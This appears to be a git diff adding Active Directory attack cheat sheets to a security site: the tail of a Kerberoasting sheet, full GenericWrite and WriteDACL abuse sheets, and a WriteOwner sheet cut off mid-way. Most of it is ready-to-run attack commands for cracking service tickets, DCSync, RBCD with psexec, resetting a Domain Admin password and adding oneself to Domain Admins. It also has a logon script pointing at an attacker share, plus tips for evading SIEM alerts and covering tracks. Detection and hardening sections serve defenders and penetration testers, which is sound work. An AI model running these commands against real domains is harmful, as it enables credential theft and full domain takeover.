+# Via Kerberos auth (using ccache ticket) +export KRB5CCNAME=/tmp/user.ccache +nxc ldap 10.10.10.10 --use-kcache --kerberoasting hashes.txt + +# Enumerate SPNs only (no roasting) +nxc ldap 10.10.10.10 -u low_user -p 'Password1' --query "SELECT sAMAccountName,servicePrincipalName FROM users WHERE servicePrincipalName IS NOT NULL" +``` + +*** + +### 🔴 Targeted Roasting — High-Value Accounts Only + +```bash +# Impacket — roast only Database-related SPNs +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request | grep -i 'mssql\|oracle\|postgres' + +# PowerShell — roast only service accounts in privileged groups +Import-Module .\PowerView.ps1 +$da_members = Get-ADGroupMember -Identity "Domain Admins" +foreach ($member in $da_members) { + if ((Get-ADUser $member -Properties ServicePrincipalName).ServicePrincipalName) { + Invoke-Kerberoast -Identity $member.SamAccountName -OutputFormat Hashcat + } +} + +# Bash — targeted roast by SPN pattern (SQL Server accounts) +for user in $(ldapsearch -x -H ldap://10.10.10.10 -D "corp\user" -w pass -b "DC=corp,DC=local" \ + "(&(objectClass=user)(servicePrincipalName=*MSSQL*))" sAMAccountName | grep sAMAccountName); do + GetUserSPNs.py corp.local/user:'pass' -dc-ip 10.10.10.10 -request-user "$user" >> targeted_hashes.txt +done +``` + +*** + +### 🔴 Offline Cracking — Hashcat + +```bash +# RC4 hash cracking (mode 13100) — most common scenario +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt + +# With best rules (dramatically increases hit rate) +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule + +# With d3ad0ne rules (aggressive, high coverage) +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule + +# AES128 cracking (mode 19600) +hashcat -m 19600 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt + +# AES256 cracking (mode 19700) — slower, may need GPU +hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -w 3 + +# Brute-force mask attack (corporate passwords like Pass2024!) +hashcat -m 13100 kerberoast_hashes.txt -a 3 ?u?l?l?l?l?d?d?d?s + +# John the Ripper alternative (CPU-based, slower) +john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt +john --format=krb5tgs kerberoast_hashes.txt --show + +# Hybrid attack: combine dictionary + rules (best results for service accounts) +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -w 3 +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **`KDC_ERR_ETYPE_NOSUPP`** | Domain enforces AES-only; RC4 downgrade not supported. | Switch to hashcat mode `-m 19600` (AES128) or `-m 19700` (AES256). RC4 may not be available; ask for AES wordlists/rules. | +| **`No SPNs found`** | Domain has no service accounts with SPNs, or query failed. | Verify credentials are correct. Run LDAP query manually: `ldapsearch ... "(servicePrincipalName=*)"`. If truly no SPNs, try AS-REP roasting instead. | +| **`TGS request failed: KDC_ERR_S_PRINCIPAL_UNKNOWN`** | Specified SPN doesn't exist or user account doesn't have that SPN set. | Enumerate SPNs first: `GetUserSPNs.py corp.local/user:pass -dc-ip IP` (no `-request` flag). Verify exact SPN name. | +| **`Hashcat crashes on mode 19700 (AES256)`** | Insufficient GPU memory or driver issues. | Reduce wordlist size, use CPU (`--workload-profile=1`), or use John the Ripper instead. | +| **`Hash format unrecognized by Hashcat`** | Hash was extracted in wrong format (e.g., John format instead of Hashcat). | Convert using Rubeus `/outfile` flag or PowerView `-OutputFormat Hashcat`. Ensure hash starts with `$krb5tgs$`. | +| **`Cannot crack RC4 hash on wordlist`** | Weak wordlist or missing rules. | Use rules: `d3ad0ne.rule`, `best64.rule`, or `dive.rule`. Add custom dictionary with service account naming patterns (e.g., `Svc`, `Service`, `Account`). | +| **`Event 4769 spam detected in logs`** | Roasted too many accounts at once; now flagged by EDR. | Use Rubeus `/tgtdeleg` flag or PowerView (which is stealthier). Roast one account at a time with 5–10 second delays between requests. | +| **`Kerberos ticket expired before cracking`** | Took too long to crack offline; TGS has lifetime limits. | Use Hashcat (faster) instead of John. If cracking takes hours, request new ticket and resume cracking on that new ticket. Tickets typically last 10 hours. | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log | TGS ticket requested — **flag `TicketEncryptionType = 0x17` (RC4)** on modern AES-only domains | +| **4769** | Security Log | Multiple TGS requests from a **single account in a short window** targeting different SPNs | +| **4768** | Security Log | TGT requested just before a burst of 4769 events | +| **4771** | Security Log | Pre-auth failure — attacker testing account before roasting | +| **Sysmon Event 3** | Sysmon Log | Network connection — roasting tool making outbound Kerberos requests (port 88) | +| **Sysmon Event 10** | Sysmon Log | Process access — credential extraction tools accessing LSASS after obtaining credentials | + +**Primary detection signature:** Event 4769 with `EncryptionType: 0x17` (RC4-HMAC) in a domain that enforces AES is a near-certain Kerberoasting indicator. If RC4 is still enabled domain-wide, detect via **volume** — one user requesting 5+ TGS tickets across different service accounts within a 60-second window is anomalous. + +### Sysmon Rules +- **Event ID 3 (Network Connection):** Flag any process opening port 88 (Kerberos) to multiple DCs in rapid succession. +- **Event ID 1 (Process Creation):** Monitor for Rubeus, Kerbrute, GetUserSPNs execution from non-standard paths (user AppData, temp folders). + +### Sigma Rules +- `win_kerberoasting_spn_request_rate` — detects bulk TGS requests (4769) from single source +- `win_kerberoasting_encryption_type_mismatch` — flags RC4 requests on AES-only domains +- `win_kerberoasting_suspicious_process` — monitors for known roasting tools (Rubeus, Impacket) +- `win_spn_enumeration` — detects LDAP queries for servicePrincipalName attribute + +### EDR-Specific Detections + +**Microsoft Defender for Identity:** +- "Suspected Kerberoasting attack" alert when 5+ 4769 events in 1 minute from single account. +- Flag RC4 TGS requests on modern domains that should use AES. +- Monitor for AS-REQ followed by rapid TGS requests (pattern of roasting). + +**CrowdStrike Falcon:** +- ProcessRollup2 events for Rubeus, GetUserSPNs, Impacket execution. +- NetworkConnection events to DC on port 88 from unusual processes (PowerShell, Python, cmd). +- Alert on Kerberos SPN enumeration patterns via LDAP. + +**Elastic Security (EDR):** +- Process execution: Flag Rubeus.exe, GetUserSPNs.py, impacket execution. +- Authentication events: Watch for Event 4769 volume spikes (normal = 1–2/min, attack = 10+/sec). +- Kerberos ticket events: Detect RC4 requests on AES-only systems. + +### Hardening Commands + +```powershell +# 1. Disable RC4 encryption for Kerberos (force AES-256) — most effective mitigation +Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "KerberosEncryptionLevel" -Value 4 + +# 2. Require Kerberos pre-authentication for all service accounts (prevents AS-REP roasting) +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Set-ADUser -DoesNotRequirePreAuth:$false + +# 3. Enable Kerberos Armoring (FAST) — complicates roasting on modern DCs +Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Kerberos\Parameters" -Name "KDCBasedAuthenticationArmoringRequired" -Value 1 + +# 4. Rotate service account passwords quarterly (limits crack window) +# Set reminder via Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Account Policies > Password Policy +Set-ADDefaultDomainPasswordPolicy -MaxPasswordAge 90 + +# 5. Use managed service accounts (gMSA) with automatic password rotation +New-ADServiceAccount -Name svc_sql -DNSHostName corp.com -AccountPassword (New-Object System.Security.SecureString) + +# 6. Enable "Audit Sensitive Privilege Use" — monitors who requests TGS tickets +auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable + +# 7. Monitor Event 4769 specifically for RC4 TGS requests +# Create custom alert rule in your SIEM for: EventID=4769 AND TicketEncryptionType=0x17 in AES-only domain + +# 8. Remove unnecessary SPNs from high-privilege accounts (e.g., Domain Admins) +Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and memberOf -RecursiveMatch "CN=Domain Admins,CN=Users,DC=corp,DC=local"} | Set-ADUser -Clear ServicePrincipalName +``` + +*** + +## 🎯 OPSEC Tips + +### OpSec Ranking: Stealthiest to Loudest +1. **Rubeus /tgtdeleg /stats** — Stealthiest; only enumerates, doesn't request tickets +2. **PowerView Invoke-Kerberoast** — Very stealthy; in-memory operation, fewer 4769 events +3. **Impacket GetUserSPNs (single target)** — Moderately stealthy; requests one TGS at a time +4. **Impacket GetUserSPNs (all targets)** — Noisy; mass 4769 event generation visible in SIEM +5. **Rubeus kerberoast /all** — Loudest; generates 5+ 4769 events per second, instant SIEM alert + +### Modern Defence Impact +- **Windows Server 2022+ Kerberos Armoring (FAST):** Makes ticket encryption stronger, complicates but doesn't prevent roasting. AES-256 hashes still crackable offline. +- **AES-256 Enforcement:** Dramatically increases crack time (GPU: hours→days, CPU: days→weeks). RC4 is 50–100x faster to crack than AES-256. +- **Defender for Identity:** Actively alerts on bulk 4769 events (4769 volume > 5 in 60 sec). Use Rubeus `/tgtdeleg` or one-at-a-time roasting with 10+ second delays. +- **Windows 2025 Credential Guard:** If enabled, limits plaintext credential usage even if you crack the hash. Focus on token impersonation + lateral movement instead. + +### Core OpSec Rules +- **Request tickets one at a time** with delays — bulk TGS requests (10+ in seconds) trigger modern SIEM rules +- **Use `/tgtdeleg` in Rubeus** — uses delegation TGT to avoid a new AS-REQ event in logs +- **Target only high-value SPNs** — roasting everything makes noise; be selective with `svc_sql`, `svc_backup`, `svc_iis` +- **Prioritise RC4 hashes** — if AES-only enforcement is NOT in place, force RC4 downgrade for faster cracking +- **Crack offline on your own machine** — never run Hashcat on the compromised host +- **Use `--nowrap` in Rubeus** — prevents long base64 lines from being wrapped and corrupting hashes +- **Avoid requesting Domain Admins with SPN** — these accounts are always heavily monitored; target lower-value svc accounts first + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Observed in | Platforms | Data Sources | +|---|---|---|---|---|---| +| **Credential Access** | T1558 | T1558.003 (Kerberoasting) | Wizard Spider, FIN7, APT29, Lazarus | Windows, Active Directory | Authentication Logs (4769), Network Traffic, Process Monitoring | +| **Credential Access** | T1110 | T1110.001 (Password Guessing) | Various | Windows | Hashcat/John Process, File Access | +| **Privilege Escalation** | T1134 | T1134.005 (Token Impersonation) | APT3, Wizard Spider | Windows | Process Monitoring, Token Creation | +| **Discovery** | T1087 | T1087.002 (Domain Account Discovery) | Wizard Spider, FIN7 | Windows, Active Directory | LDAP Queries, Network Traffic (port 389) | +| **Collection** | T1040 | T1040 (Network Sniffing) | Multiple | Windows | Network Traffic Capture | + +**Data Sources to Monitor:** +- Authentication logs (4769 for TGS requests, 4771 for pre-auth failures) +- Process execution (Rubeus.exe, GetUserSPNs.py, hashcat, john) +- Network traffic on ports 88 (Kerberos), 389 (LDAP) +- Kerberos event logs (TicketEncryptionType field) +- File access (hash output files, wordlists) + +*** + +## 🔗 Attack Chain Context + +``` +[Kerberoasting] ──→ Plaintext Service Account Password Recovered + │ + ├──→ 🔑 Authenticate as svc_sql / svc_backup / svc_iis + ├──→ 🩸 DCSync (if svc account has Replication-Get-Changes ACE) + ├──→ 🎫 Golden Ticket (if KRBTGT hash obtained from DCSync) + ├──→ 🦟 Lateral Movement — svc accounts often have local admin on servers + ├──→ 🔓 Access databases, file shares, or backup systems directly + └──→ 🔍 Check BloodHound for ACL edges from svc account → DA path +``` + +**High-value Kerberoastable targets to prioritise:** +- `svc_sql` → SQL Server service account → often local admin on multiple DB servers +- `svc_backup` → Veeam/Backup Exec → usually has read access to all data +- `svc_iis` → Web application service → may have access to config files with credentials +- Any account in **Domain Admins** with an SPN set → immediate game over if cracked + +*** + +> ✅ **Attack #2 — Kerberoasting complete.** Tell me to move on when you're ready for **Attack #3 — AS-REP Roasting**. + +Sources + What Is Kerberoasting? Attack Explained and How It Works https://www.strongdm.com/what-is/kerberoasting + What is a Kerberoasting Attack? https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/kerberoasting/ + An Expert Guide to Combating Kerberoasting in Active Directory https://www.fox-it.com/be/defending-your-directory-an-expert-guide-to-combating-kerberoasting-in-active-directory/ + Kerberoasting Attack – Detection and Prevention Strategies - Netwrix https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/kerberoasting/ + From Heuristics to Histograms: Reinventing… | BeyondTrust https://www.beyondtrust.com/blog/entry/kerberoasting-detections + The Attacker's Active Directory Playbook: How to read it & How to ... https://istrosec.com/blog/the-attackers-active-directory-playbook--1-how-to/ + Active Directory Kerberoasting Attack: Monitoring and Detection Techniques http://www.scitepress.org/DigitalLibrary/Link.aspx?doi=10.5220/0008955004320439 + What Is A Kerberoasting Attack? | IBM https://www.ibm.com/think/topics/kerberoasting + What is Kerberoasting Attack? https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-kerberoasting-attack/ + What is Kerberoasting? Attack and Security Tips Explained https://www.vaadata.com/blog/what-is-kerberoasting-attack-and-security-tips-explained/ + What is a Kerberoasting Attack? Detect & Prevent - Rapid7 https://www.rapid7.com/fundamentals/kerberoasting-attack/ + Microsoft's guidance to help mitigate Kerberoasting https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/ + What Is a Kerberoasting Attack? - Picus Security https://www.picussecurity.com/resource/blog/kerberoasting-attack-explained-mitre-attack-t1558.003 + Steal or Forge Kerberos Tickets: Kerberoasting - MITRE ATT&CK® https://attack.mitre.org/techniques/T1558/003/ + DFIR Breakdown: Kerberoasting https://www.cybertriage.com/blog/dfir-breakdown-kerberoasting/ + What is a Kerberoasting Attack + How to Detect It - Vectra AI https://www.vectra.ai/modern-attack/attack-techniques/kerberoasting + Active Directory Kerberoasting Attack: Detection using Machine Learning Techniques https://www.scitepress.org/DigitalLibrary/Link.aspx?doi=10.5220/0010202803760383 + CVE-driven Attack Technique Prediction with Semantic Information Extraction and a Domain-specific Language Model https://arxiv.org/abs/2309.02785 + Multi-Objective GAN-Based Adversarial Attack Technique for Modulation Classifiers https://ieeexplore.ieee.org/document/9756577/ + From Threat Reports to Continuous Threat Intelligence: A Comparison of Attack Technique Extraction Methods from Textual Artifacts https://arxiv.org/abs/2210.02601 + Kerberoasting: Case Studies of an Attack on a Cryptographic Authentication Technology https://www.crimrxiv.com/pub/nbc8gae2 + Towards Effective Identification of Attack Techniques in Cyber Threat Intelligence Reports using Large Language Models https://dl.acm.org/doi/10.1145/3701716.3715469 + Prompt Injection attack against LLM-integrated Applications https://arxiv.org/abs/2306.05499 + A robust intelligent zero-day cyber-attack detection technique https://link.springer.com/10.1007/s40747-021-00396-9 + Great, Now Write an Article About That: The Crescendo Multi-Turn LLM Jailbreak Attack https://arxiv.org/abs/2404.01833 + Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf + Replay Attack Prevention in Kerberos Authentication Protocol Using + Triple Password https://arxiv.org/pdf/1304.3550.pdf + Keyboard Data Protection Technique Using GAN in Password-Based User Authentication: Based on C/D Bit Vulnerability https://www.mdpi.com/1424-8220/24/4/1229/pdf?version=1707988631 + Keyboard Data Protection Technique Using GAN in Password-Based User Authentication: Based on C/D Bit Vulnerability https://pmc.ncbi.nlm.nih.gov/articles/PMC10891990/ + Fault-enabled chosen-ciphertext attacks on Kyber https://zenodo.org/record/5718027/files/Fault-Enabled%20Chosen-Ciphertext%20Attacks%20on%20Kyber.pdf + Attacking the Diebold Signature Variant -- RSA Signatures with + Unverified High-order Padding https://arxiv.org/pdf/2403.01048.pdf + Meltdown https://arxiv.org/pdf/1801.01207.pdf + Preventing Attacks on Wireless Networks Using SDN Controlled OODA Loops and Cyber Kill Chains https://www.mdpi.com/1424-8220/22/23/9481/pdf?version=1670150837 diff --git a/src/content/sheets/active-directory/attack-20-genericwrite-abuse.md b/src/content/sheets/active-directory/attack-20-genericwrite-abuse.md @@ -0,0 +1,168 @@ +--- +title: "Attack #20 — GenericWrite Abuse" +description: "GenericWrite allows an attacker to write to any non-protected attribute on a target AD object. While it doesn't grant full control like GenericAll, it…" +category: active-directory +tags: ["active-directory", "kerberos", "hashing"] +tools: ["Rubeus", "Certipy", "Hashcat", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #20 — GenericWrite Abuse.md" +--- +# 🟡 Attack #20 — GenericWrite Abuse + +*** + +## 📖 How It Works + +GenericWrite allows an attacker to **write to any non-protected attribute** on a target AD object. While it doesn't grant full control like GenericAll, it enables several powerful exploitation paths: **Targeted Kerberoasting** (set an SPN on a user, roast their hash), **Shadow Credentials** (write to `msDS-KeyCredentialLink` for passwordless auth), **logon script modification**, and **RBCD configuration** (write to `msDS-AllowedToActOnBehalfOfOtherIdentity` on computers). + +### Exploitation Methods by Target Type + +| Target Type | Method | What You Write | Result | +|---|---|---|---| +| **User** | Targeted Kerberoasting | `servicePrincipalName` | Crack their hash offline | +| **User** | Shadow Credentials | `msDS-KeyCredentialLink` | Auth as target via PKINIT | +| **User** | Logon Script | `scriptPath` | Code execution on next logon | +| **Computer** | RBCD | `msDS-AllowedToActOnBehalfOfOtherIdentity` | Impersonate any user to that host | +| **Computer** | Shadow Credentials | `msDS-KeyCredentialLink` | Auth as that computer | +| **Group** | ❌ Cannot add members | N/A | GenericWrite ≠ WriteMembers for groups | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **GenericWrite ACE on target** | Must exist in the target object's DACL | +| **Domain user account** | Any authenticated domain user | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **PowerView** | Windows | `Set-DomainObject` for attribute manipulation | +| **Whisker** | Windows | Shadow Credentials exploitation | +| **pyWhisker** | Linux | Python Shadow Credentials tool | +| **Certipy** | Linux | `shadow auto` for automated Shadow Creds | +| **Rubeus** | Windows | Kerberoasting, PKINIT auth | +| **bloodyAD** | Linux | All-in-one AD exploitation | + +*** + +## 💻 Full Commands + +### 🔴 Method 1 — Targeted Kerberoasting + +```powershell +# ── Set SPN on target user ──────────────────────────────────────────────────── +Set-DomainObject -Identity targetadmin -Set @{serviceprincipalname='fake/kerberoast'} + +# ── Roast the hash ──────────────────────────────────────────────────────────── +.\Rubeus.exe kerberoast /user:targetadmin /outfile:roast.txt + +# ── Crack offline ───────────────────────────────────────────────────────────── +hashcat -m 13100 roast.txt rockyou.txt --force + +# ── Clean up — remove the SPN ──────────────────────────────────────────────── +Set-DomainObject -Identity targetadmin -Clear serviceprincipalname +``` + +```bash +# ── Linux — targeted kerberoasting ──────────────────────────────────────────── +# Set SPN via bloodyAD +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set object targetadmin servicePrincipalName -v 'fake/kerberoast' + +# Roast +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -request-user targetadmin -outputfile roast.txt + +# Clean up +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set object targetadmin servicePrincipalName +``` + +### 🔴 Method 2 — Shadow Credentials + +```powershell +# ── Whisker — add shadow credential to target user ─────────────────────────── +.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local +# Outputs a Rubeus command to request TGT with the new key credential + +# Run the outputted Rubeus command to get a TGT as targetadmin +``` + +```bash +# ── pyWhisker ───────────────────────────────────────────────────────────────── +python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ + --target targetadmin --action add --dc-ip 10.10.10.10 + +# ── Certipy shadow auto (easiest) ──────────────────────────────────────────── +certipy shadow auto -u low_user@corp.local -p 'Password1' \ + -account targetadmin -dc-ip 10.10.10.10 +# Outputs: NT hash and TGT for targetadmin +``` + +### 🔴 Method 3 — RBCD (on Computer objects) + +```bash +# ── Configure RBCD on target computer ───────────────────────────────────────── +addcomputer.py -computer-name 'FAKE$' -computer-pass 'Pass123!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' \ + -action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +getST.py -spn cifs/TARGET.corp.local -impersonate Administrator \ + -dc-ip 10.10.10.10 corp.local/'FAKE$':'Pass123!' + +export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache +psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local +``` + +### 🔴 Method 4 — Logon Script Modification + +```powershell +# ── Set malicious logon script path ─────────────────────────────────────────── +Set-DomainObject -Identity targetadmin -Set @{scriptpath='\\ATTACKER\share\evil.bat'} +# Next time targetadmin logs in, evil.bat executes in their context +``` + +*** + +## 🎯 OPSEC Tips + +- **Shadow Credentials is the stealthiest method** — original password unchanged, persistent access +- **Targeted Kerberoasting requires cleanup** — always remove the SPN after getting the hash +- **GenericWrite on groups does NOT let you add members** — you need WriteMembers or GenericAll for that +- **Monitor Event 5136** for all methods — it catches attribute modifications + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5136** | Security Log (DC) | Attribute modification: `servicePrincipalName`, `msDS-KeyCredentialLink`, `scriptPath`, `msDS-AllowedToActOnBehalfOfOtherIdentity` | +| **4738** | Security Log (DC) | User account changed — SPN modification | +| **4741** | Security Log (DC) | Computer account created (RBCD path) | + +*** + +## 🔗 Attack Chain Context + +``` +[GenericWrite] ──→ Multiple Escalation Paths + │ + ├──→ 🎫 Targeted Kerberoasting → crack password → impersonate user + ├──→ 🔑 Shadow Credentials → passwordless auth as target + ├──→ 💻 RBCD on computers → impersonate DA to that host + ├──→ 📋 Logon script → code execution on target's next logon + └──→ 💀 Defeated by: ACL auditing, monitor 5136, least privilege +``` + +*** + +> ✅ **Attack #20 — GenericWrite Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-21-writedacl-abuse.md b/src/content/sheets/active-directory/attack-21-writedacl-abuse.md @@ -0,0 +1,160 @@ +--- +title: "Attack #21 — WriteDACL Abuse" +description: "WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object — meaning they can grant themselves (or any principal)…" +category: active-directory +tags: ["active-directory", "credential-access", "privilege-escalation", "hashing"] +tools: ["Impacket", "Mimikatz", "BloodHound", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #21 — WriteDACL Abuse.md" +--- +# 🟡 Attack #21 — WriteDACL Abuse + +*** + +## 📖 How It Works + +WriteDACL allows an attacker to **modify the Discretionary Access Control List** of a target AD object — meaning they can grant themselves (or any principal) **any permission they want** on that object. This is typically used as a **stepping stone**: the attacker grants themselves GenericAll or DCSync rights, then uses those elevated permissions to exploit the target. + +The most devastating use is WriteDACL on the **domain root object** (`DC=corp,DC=local`), which allows the attacker to grant themselves DCSync rights — enabling extraction of every credential in the domain without Domain Admin privileges. + +### Exploitation Chain + +``` +1. Identify WriteDACL on a target object (BloodHound / PowerView) +2. Add a new ACE granting yourself desired rights: + - GenericAll on user/group → password reset / group membership + - DCSync rights on domain root → extract all hashes +3. Exploit the newly granted permissions +4. Optionally remove the ACE to cover tracks +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **WriteDACL ACE on target** | Your controlled principal must have WriteDACL in the target's DACL | +| **Domain user account** | Any authenticated domain user | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **PowerView** | Windows | `Add-DomainObjectAcl` — add ACEs to DACLs | +| **Impacket — dacledit.py** | Linux | Remote DACL editing | +| **bloodyAD** | Linux | `add dcsync`, `add genericAll` shortcuts | +| **ldap_shell** | Linux | Interactive LDAP exploitation | + +*** + +## 💻 Full Commands + +### 🔴 WriteDACL on Domain Root → Grant DCSync + +```powershell +# ── PowerView — grant DCSync rights to yourself ────────────────────────────── +Import-Module .\PowerView.ps1 +Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ + -PrincipalIdentity low_user -Rights DCSync -Verbose + +# ── Now DCSync ──────────────────────────────────────────────────────────────── +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit +``` + +```bash +# ── dacledit.py ─────────────────────────────────────────────────────────────── +dacledit.py -action write -rights DCSync \ + -principal low_user -target-dn "DC=corp,DC=local" \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 + +# Now DCSync +secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt + +# ── bloodyAD ────────────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + add dcsync low_user +``` + +### 🔴 WriteDACL on User → Grant GenericAll + +```powershell +# ── Grant GenericAll over a DA account ──────────────────────────────────────── +Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All + +# ── Now reset their password ────────────────────────────────────────────────── +$NewPassword = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +Set-DomainUserPassword -Identity targetadmin -AccountPassword $NewPassword +``` + +```bash +# ── dacledit.py — grant GenericAll ──────────────────────────────────────────── +dacledit.py -action write -rights FullControl \ + -principal low_user -target targetadmin \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +``` + +### 🔴 WriteDACL on Group → Grant Self-Add + +```powershell +# ── Grant yourself rights to modify group membership ────────────────────────── +Add-DomainObjectAcl -TargetIdentity "Domain Admins" \ + -PrincipalIdentity low_user -Rights All + +# ── Add yourself to Domain Admins ───────────────────────────────────────────── +Add-DomainGroupMember -Identity "Domain Admins" -Members low_user +``` + +### 🔴 Cleanup — Remove the ACE + +```powershell +# ── Remove the ACE you added ────────────────────────────────────────────────── +Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ + -PrincipalIdentity low_user -Rights DCSync -Verbose +``` + +```bash +# ── dacledit.py cleanup ─────────────────────────────────────────────────────── +dacledit.py -action remove -rights DCSync \ + -principal low_user -target-dn "DC=corp,DC=local" \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +``` + +*** + +## 🎯 OPSEC Tips + +- **Always remove the ACE after exploitation** — leaving DCSync rights on a low-priv user is a permanent IOC +- **WriteDACL → DCSync is the most common escalation path** found in ACL-based attacks +- **Event 4662 and 5136 catch DACL modifications** — but many environments don't audit these events + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Object access — tracks DACL writes on the domain root | +| **5136** | Security Log (DC) | Directory Service object modification — nTSecurityDescriptor changes | +| **4670** | Security Log (DC) | Permissions on an object were changed | + +*** + +## 🔗 Attack Chain Context + +``` +[WriteDACL] ──→ Grant Yourself Any Permission + │ + ├──→ 🩸 Domain root → DCSync rights → all domain hashes + ├──→ 👤 User object → GenericAll → password reset → account takeover + ├──→ 👥 Group object → modify membership → add self to DA + ├──→ 🔗 Chain: WriteDACL → DCSync (#37) → Golden Ticket (#11) + └──→ 💀 Defeated by: audit DACLs, monitor 4670/5136, least privilege +``` + +*** + +> ✅ **Attack #21 — WriteDACL Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-22-writeowner-abuse.md b/src/content/sheets/active-directory/attack-22-writeowner-abuse.md @@ -0,0 +1,120 @@ +--- +title: "Attack #22 — WriteOwner Abuse" +description: "WriteOwner allows an attacker to change the owner of an AD object to themselves. Since the owner of an object has the implicit right to modify the…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "delegation"] +tools: ["Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #22 — WriteOwner Abuse.md" +--- +# 🟡 Attack #22 — WriteOwner Abuse + +*** + +## 📖 How It Works + +WriteOwner allows an attacker to **change the owner of an AD object** to themselves. Since the owner of an object has the **implicit right to modify the object's DACL** (WriteDACL), this creates a two-step escalation: take ownership → grant yourself GenericAll/WriteDACL → exploit the object. This is a stepping stone attack, commonly found in enterprise environments due to legacy delegation configurations. + +### Exploitation Chain + +``` +1. Have WriteOwner on a target object +2. Change owner to yourself → Set-DomainObjectOwner +3. Now you have implicit WriteDACL +4. Grant yourself GenericAll → Add-DomainObjectAcl +5. Exploit: reset password / add to group / DCSync / etc. +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **WriteOwner ACE on target** | Your principal has WriteOwner in the target's DACL | +| **Domain user account** | Any authenticated domain user | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **PowerView** | Windows | `Set-DomainObjectOwner`, `Add-DomainObjectAcl` | +| **Impacket — owneredit.py** | Linux | Change object ownership remotely | +| **Impacket — dacledit.py** | Linux | Modify DACL after taking ownership | +| **bloodyAD** | Linux | `set owner` command | + +*** + +## 💻 Full Commands + +### 🔴 Full Exploitation Chain (Windows) + +```powershell +# ── Step 1: Take ownership ──────────────────────────────────────────────────── +Import-Module .\PowerView.ps1 +Set-DomainObjectOwner -Identity targetadmin -OwnerIdentity low_user -Verbose +# Or for a group: +Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity low_user + +# ── Step 2: Grant yourself GenericAll (owner has implicit WriteDACL) ────────── +Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All +# Or for domain root (DCSync): +Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity low_user -Rights DCSync + +# ── Step 3: Exploit ────────────────────────────────────────────────────────── +# Password reset: +Set-DomainUserPassword -Identity targetadmin -AccountPassword ( + ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +) +# Or add to group: +Add-DomainGroupMember -Identity "Domain Admins" -Members low_user +``` + +### 🔴 Full Exploitation Chain (Linux) 